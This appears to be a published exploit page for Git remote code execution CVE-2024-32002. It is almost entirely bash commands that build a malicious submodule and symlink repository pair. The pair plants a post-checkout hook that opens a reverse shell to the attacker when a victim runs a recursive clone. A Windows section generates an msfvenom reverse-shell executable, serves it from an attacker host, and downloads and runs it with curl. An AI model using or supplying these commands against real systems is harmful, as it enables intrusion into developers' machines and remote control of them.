## https://sploitus.com/exploit?id=D0336BF6-6AF7-5C0D-8762-125A36BDF34F
######################
GIT RCE CVE-2024-32002
######################
***********
Description
***********
| CVE-2024-32002
| https://www.tarlogic.com/blog/cve-2024-32002-vulnerability-git/
|
*******
Exploit
*******
| First you need to create "calledrepo" "commandrepo" repos on git.
| Victim will later call the calledrepo with "git clone --recursive calledrepo.git" that redirect to commandrepo and execute the hook script.
| This bash reverseshell payload works on WINDOWS and LINUX.
|
| I'm using git cli in docker because i don't want to get trouble with my system git config, but it's optionnal
.. code-block:: bash
# Stat a debian docker instance
docker run --rm -it debian
# Install git
apt update
apt install -y git
| Configuring git
.. code-block:: bash
git config --global user.email "whatever"
git config --global user.name "whatever"
git config --global protocol.file.allow always
git config --global core.symlinks true
git config --global init.defaultBranch main
| Setting vars
.. code-block:: bash
GIT_IP="10.129.19.99"
GIT_USER="charles"
GIT_PORT="3000"
LHOST="10.10.14.113"
LPORT="4444"
| Populating repos
.. code-block:: bash
cd /tmp
rm -rf calledrepo commandrepo
git clone "http://$GIT_IP:$GIT_PORT/$GIT_USER/commandrepo.git"
cd commandrepo
mkdir -p y/hooks
cat <<EOF>y/hooks/post-checkout
#!/bin/bash
/bin/bash -c "bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1"
EOF
chmod +x y/hooks/post-checkout
git add y/hooks/post-checkout
git commit -m "post-checkout"
git push
cd ..
git clone "http://$GIT_IP:$GIT_PORT/$GIT_USER/calledrepo.git"
cd calledrepo
git submodule add --name x/y "http://$GIT_IP:$GIT_PORT/$GIT_USER/commandrepo.git" A/modules/x
git commit -m "add-submodule"
printf ".git" > dotgit.txt
git hash-object -w --stdin < dotgit.txt > dot-git.hash
printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" > index.info
git update-index --index-info < index.info
git commit -m "add-symlink"
git push
cd ..
# Echo the command to run on victim
echo "git clone --recursive http://$GIT_IP:$GIT_PORT/$GIT_USER/calledrepo.git"
|
*******
Windows
*******
| After exploiting on windows you will get a git bash that have some issues/restrictions :
|
.. code-block:: bash
$ C:\windows\System32\whoami.exe /all
bash: C:windowsSystem32whoami.exe: command not found
| If you want to escape from this env, you can call a new reverseshell
|
.. code-block:: bash
# Attacker side
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.113 LPORT=443 EXITFUNC=thread -f exe -a x86 --platform windows -o payload.exe
sudo cp payload.exe /var/www/html
sudo nc -nvlp 443 -s 10.10.14.113
.. code-block:: bash
# Windows side
cd ~/
curl http://10.10.14.113/payload.exe -O payload.exe
./payload.exe
|
| Don't forget that git bash may have path priority over windows commands.
| You can run the windows command using the full path.
|
.. code-block:: bash
C:\windows\System32\whoami.exe /all
|